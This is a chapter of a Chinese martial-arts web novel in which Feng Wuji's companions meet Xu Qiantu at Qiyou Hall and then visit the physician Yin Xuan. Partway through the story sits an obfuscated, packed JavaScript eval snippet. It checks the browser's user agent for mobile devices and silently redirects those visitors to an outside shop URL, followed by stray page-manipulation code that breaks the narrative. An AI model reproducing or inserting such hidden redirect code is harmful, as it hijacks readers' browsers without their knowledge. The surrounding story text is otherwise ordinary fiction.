日头西斜,暖黄的日光顺着大敞四开的朱门缝隙爬进弃忧堂的院内。

    顶着烈日,苍飞鸿从马车上跳了下来。

    “终于到了。坐了半日,累死我了!”他抱怨一句,仰头看向头顶的牌匾,随后推开大门,走了进去。

    “风堂主!你们也跟上啊!”苍飞鸿回头朝背后招呼一下,便身影欢脱地闯入院中。

    大堂的门正虚掩着,苍飞鸿有些奇怪,风堂主走之前都不落锁的吗?

    他没多想,利落的推开门。

    吱呀一声,门开了一条缝,丝丝暖风争先恐后的涌入大堂。

    苍飞鸿顺着缝隙向里看去,动作瞬间顿住。

    “???”

    下一刻,苍飞鸿猛地关上门!

    他揉了揉眼睛,以为是自己看花眼了,又悄悄探头,瞄了一眼。

    这下,他算是彻底看清了。

    本该空无一人的大堂,竟活生生出现了个人,那人背对着自己,坐在椅子上,看不清面容。

    “这谁啊……?”苍飞鸿摸不着头脑,仔细观察着那道模糊的背影,他悄咪咪地走近,看了个清楚。

    一身桃红的如意裙,梳着一头双蟠髻,是个女孩。

    她闭着眼,一手撑着下巴,脑袋一点一点的,就这么睡着了。

    “女孩?”

    看这一身穿着,更像是哪家的贵小姐,跑来弃忧堂,是为了求风堂主破案的?

    苍飞鸿本想直接去找风无疾,结果刚转过身就撞上了自远处缓缓走来的两人。

    风无疾见他神情古怪,问道:“怎么不进去?”

    “那个……”苍飞鸿干巴巴地指了一下屋里,“风堂主,里面,有人。”

    李长弃瞥了他一眼,抱臂靠于一旁,嗤笑道:“怎么,出去一趟话都不会说了?”

    苍飞鸿狠狠瞪了他一眼,罕见的没与他斗嘴。

    风无疾扬起眉,顺着苍飞鸿所指之处瞧了过去。

    女孩早已被这窸窣不停的动静吵醒了,她伸展了一下身子,还未完全清醒,慢悠悠地扫了三人一眼,最终将目光放在为首的风无疾。

    下一秒,她圆而莹润的杏眼轻轻眨了眨,面上掠过一丝惊喜,女孩站起身飞奔向风无疾,像一只撒欢的小兔。

    “风姐姐!”她飞扑到风无疾怀里,还蹭了蹭:“你终于回来了,我都等你好久了!”

    女孩身上萦绕着一股浓烈的海棠香味,如她这个人一样,热烈而娇艳。

    许迁涂抬起头,目光灼灼,“风姐姐,你们昨日在城北吧?我托人给你们捎了信,还瞒着殷表哥给你偷偷寄了梨花春,但等了一天都没等来回信。”

    “嗯?”但风无疾并未收到过信和酒。

    这种事之前发生过类似的,她转眸看向李长弃,语调拉长:“哦……有吗?我没收到啊。”

    李长弃缓缓移开目光:“……”

    许迁涂飞快地瞄了一眼李长弃,小声对风无疾道:“我就知道是他藏起来了,风姐姐,你可得好好收拾他,那上等的梨花春可珍贵了。”

    风无疾揉了揉女孩的发顶,纵容道:“好了,小阿涂。”

    许迁涂眨了眨眼,乖巧地从她怀里退出来,歪头看向一旁目瞪口呆的苍飞鸿。

    “对了,风姐姐,这位是谁啊?”

    看起来傻里傻气的。

    后半段话许迁涂念着人家的面子,没说出来。

    风无疾介绍道:“隐远苍家,苍飞鸿,你应当听过,他就是苍将军的儿子。”

    “哦。我听闻过他的名号,隐远小霸王嘛!”许迁涂笑眯眯的。

    苍飞鸿挠了挠头,眼神飘忽。

    从别人口中听到隐远小霸王这个称号,还怪尴尬的.…..呵呵。

    “你好啊苍飞鸿,我叫许迁涂,翼州许氏,”女孩大大方方的伸出手:“风姐姐的朋友就是我的朋友,认识一下?”

    苍飞鸿许是头一回见到如此热情的人,暂时没反应过来,直愣愣地伸出手:“你…你好哈?”

    许迁涂重新望向风无疾,“对了,风姐姐,我这次来不止是找你玩的,殷表哥嘱咐我说,如果你回来了,就去俗药阁找他,他有事要告诉你。”

    风无疾颔首:“好,我收拾下,一会儿便去。”

    ***

    对于弃忧堂,许迁涂逛起来跟逛自己的府宅一样轻车熟路,她不知道从哪里翻出来的一篮果子,坐下便开始啃青果,等着风无疾回来。

    苍飞鸿坐在她对面,憋了半天,忍不住问出口:“那个……许小姐是吧,我想问问,你是风堂主的哪个妹妹啊?”

    “嗯?”许迁涂往嘴里丢了颗葡萄,腮帮子鼓起来,像只小兔子,“我们没有血亲关系的。”

    苍飞鸿说:“那你……”

    “我呢,是认她作阿姐的。”许迁涂悠闲道:“不过,殷玄是我的表哥。”

    “殷玄?”苍飞鸿一时半会没想起来这个人物:“名字挺耳熟,他是谁来着……”

    “你一会去了俗药阁,便能见到他了,貌似被人称作什么医神转世,医术挺不错的。”提起这个,许迁涂又嘟囔了一句:“但殷家是商贾之家,也不知道他为什么不回去继承殷家,反而半路去苦学医术。”

    “等等。”苍飞鸿抓住了话中的重点:“你说的是殷家?哪个殷?”

    许迁涂支着下巴,自然道:“殷红的殷呀。”

    苍飞鸿倒吸了一口凉气,又问:“商贾世家四门,排行第一的殷家?”

    许迁涂又点点头。

    苍飞鸿擦了擦汗,心想:“风堂主认识的都什么人?各个身份尊贵。”

    好奇心不断作祟,他挺想了解的多一点,索性又问:“不过,你为什么要认风堂主做姐姐啊?”

    女孩歪了歪头,唇角含着笑意。提起风无疾,她眉梢都染着几分喜色:“风姐姐哪哪都好呀,她强大又美丽,我最崇拜这种人了。”

    “况且……”许迁涂不再嚼了,缓缓垂下眼,长睫发颤。

    苍飞鸿虽傻但不迟钝,还是察觉到了她情绪明显的变化,立刻噤了声,安静听着。

    良久,只听女孩轻声道:

    “风姐姐没有亲人的呀,我就想要她,不要那么孤寂。”

    苍飞鸿动作一顿。

    “……”

    “什…么?”苍飞鸿脑子转的有点慢,突然有些手足无措,一味的道歉:“对不起,我不知道……”

    许迁涂摇摇头,情绪莫名低落下来,连葡萄都不吃了:“四年里,我一有机会就会想办法的去逗她开心,给她我所有认为好的东西。”

    她抿了抿唇:“可是,风姐姐的眼中好像总有一股化不去的悲伤。”

    “人活着,是为了世上美好的事而活着,但风姐姐不同,她活着,更像是在完成一个任务。”

    许迁涂望着外头看似转暖的天色,实则不日便要刮起风雨。

    她的声音低了下去,“一个久远,需要很长时间才能完成的任务。我总有种感觉,待她有一天完成了那个任务,她就会真正的离去。”

    “我不明白,殷表哥也不明白,甚至连一直跟在风姐姐身边的弃大哥都不明白。”

    院里的几树梨花开的正浓,日光从树枝的缝隙漏下来,清风徐来,带着梨花香缕缕飘进大堂,轻柔地包裹住他们。

    “不过。”许迁涂吸了吸鼻子,重新抬起眼,语气轻松,调侃道:“也可能是因为强者都是孤单的吧,别担心了。”

    “嗯……可能?”苍飞鸿本来还挺难过的,但他刚一抬头,表情就好似看到鬼一样,僵硬在原地。

    许迁涂没注意到他的奇怪,许是难得见到同岁人,一时间八卦心上来了,她兴致勃勃,对苍飞鸿道:“对了,你知道风姐姐身旁的那个冷冰冰的男人吧,据我观察,他绝对喜欢风姐姐。”

    “不过,像他这样死板的人,我觉得他配不上风姐姐的,他肯定不会照顾人,”她捂着脸,笑了起来:“应该配阳光温柔活泼的,再不济,我配风姐姐也好。”

    话音刚落,许迁涂突然听到一道轻笑声。她疑惑地看了眼一动不动的、但面部表情无比丰富的苍飞鸿,问道:“你笑什么?”

    苍飞鸿挤眉弄眼了半天,眼睛都眨酸了,看她这副模样,放弃了挣扎:“哈哈……算了,许小姐,人各有命。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631580|206374||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    许迁涂:“?”

    她脑袋里突然闪过一个不好的预感,接踵而来的便是自身后传来李长弃略带讽意的声音:“你在说什么?”

    许迁涂猛地回头,几乎被吓得魂飞魄散:“弃大哥!你你你,你怎么来了?”

    “有人提起我,我还能不来?”李长弃抱臂,好整以暇地看着她。

    许迁涂掩唇轻咳一声,目光游离。

    背地说人小话被抓到了,有点尴尬。

    “算了,弃大哥你听到就听到吧,”经过一番心理斗争,许迁涂干脆破罐子破摔:“风姐姐呢?她没听到……”

    许迁涂的话还未说完,便见一抹深红从门后走了出来,映入眼帘。

    “嗯……”风无疾朝她弯起眼,“应该,没有?”

    看着眼前的女人,许迁涂心里有什么东西开始瓦解,变得冰凉。

    她,耗时四年在风无疾心中留下的乖巧纯真的印象,被自己一举之间,全部搞毁了!

    这样想着,许迁涂崩溃了。

    “哇啊啊啊啊!”女孩尖叫一声,捂着脸跑出了弃忧堂,边跑边道:“我不是许迁涂,我不是许迁涂——!”

    “哇哦…”苍飞鸿望着许迁涂远去的背影,啧啧两声:“可怜,暗示她还看不懂,真没默契。”

    风无疾瞥了他一眼:“你也是,两人在这捣鼓半天聊了点什么?”

    “呃?”苍飞鸿动作一僵,眼神飘忽:“没什么啊,就是说李侍卫配不上你……”

    “对了风堂主,咱们不是要去俗药阁吗。走走走。”说着,他抓起桌上的佩剑,灰溜溜的跑路。

    风无疾和李长弃对视一眼。

    李长弃一时没说话,低垂下眉眼,乌黑的睫羽轻颤,抿唇道:“……你别听许迁涂说的。”

    他好似想说些什么,但又显得有些别扭,话卡在喉咙里不上也不下。

    “嗯?”风无疾看向他,却注意到他的耳根逐渐微红。

    李长弃压低声音,语速极快地说:“我会照顾人,如果是你,会照顾的更好。”

    “什么?”

    他声音太小,被清风揉杂了,风无疾没听清。

    李长弃摇了摇头:“没事。”

    说罢,他快步跨出大堂,背影颇有几分落荒而逃的意味。

    原地唯余下风无疾一人,显得孤零零的,她无奈道:“这三人…怎么跟小孩子一样。”

    ***

    云卷云舒,初夏正好。

    半个时辰后,风无疾停在一座宽阔宏大的院落门前,檐下的牌匾上书着三个大字。

    俗药阁。

    苍飞鸿朝院子里探头,里面陈设布置简单,有股闲适的意味,没有想象中商贾之家到处充斥着的华贵气息。

    “看来,这殷玄的性子挺温和?跟红小溪一样?”他还在琢磨着,迎面便走来一位男人。

    殷玄披散着发,左右各垂下两缕柔发,眉间印有一银白花钿。他浑身散发着一股淡雅温润的气质,比起红锡来说,更具有几分贵气。

    他对几人笑了笑,轻声道:“几位,先请进屋。风堂主,劳烦你去正房等等我,我有私话想与你讲。”

    “好。”风无疾应下,朝着北边远去。

    殷玄对剩余的他们略一颔首,表示礼貌,而后向身后轻唤一声:“长殊,你带他们去吧。”

    话音刚落,下一刻,一道白衣身影就出现在了殷玄身旁。

    男人一袭白色紧身劲衣,发到颈后而断,发尾呈现殊异的白。最古怪的是,他身负一把纯白古琴,古琴还比一般的琴要大一些。

    男人唇角轻挑,漫不经心地应了一声,给人一种玩世不恭的印象。

    苍飞鸿瞥了一眼这奇怪的男人,也没多想,只当又是什么江湖侠客。

    他们跟着白衣人走到正厅后,男人身形一闪,再一次消失在原地,仿佛从未来过。

    来无影,去无踪,当真古怪。

    苍飞鸿总觉得这男人很熟悉,他怼了下李长弃,小声道:“哎,你觉不觉得这人的神态跟风堂主很相似?”

    李长弃黑眸一沉,盯着白衣人离去的方向,轻嗯一声。